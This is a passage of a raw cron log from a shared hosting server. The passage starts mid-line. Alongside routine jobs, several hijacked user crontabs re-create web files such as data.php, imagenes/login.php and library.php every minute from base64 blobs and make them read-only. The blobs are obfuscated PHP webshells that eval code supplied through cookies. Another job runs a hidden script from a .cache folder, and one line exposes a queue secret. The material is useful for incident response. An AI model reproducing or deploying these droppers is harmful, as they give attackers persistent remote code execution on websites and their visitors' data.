iAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:17:01 medusa CROND[25276]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 06:17:01 medusa CROND[25277]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:17:01 medusa CROND[25281]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:17:01 medusa CROND[25284]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:17:01 medusa CROND[25293]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:17:01 medusa CROND[25295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:17:01 medusa CROND[25296]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:17:01 medusa CROND[25298]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:17:01 medusa CROND[25300]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:17:01 medusa CROND[25301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:18:01 medusa CROND[5223]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:18:01 medusa CROND[5482]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:18:01 medusa CROND[5483]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:18:01 medusa CROND[5484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:18:01 medusa CROND[5485]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:18:01 medusa CROND[5494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:18:01 medusa CROND[5495]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:18:01 medusa CROND[5497]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:18:01 medusa CROND[5498]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 06:18:01 medusa CROND[5496]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:18:01 medusa CROND[5500]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:18:01 medusa CROND[5502]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:18:01 medusa CROND[5508]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:18:01 medusa CROND[5509]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:19:01 medusa CROND[17078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:19:01 medusa CROND[17139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:19:01 medusa CROND[17289]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:19:01 medusa CROND[17331]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:19:01 medusa CROND[17332]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:19:01 medusa CROND[17334]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:19:01 medusa CROND[17336]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:19:01 medusa CROND[17338]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:19:01 medusa CROND[17345]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
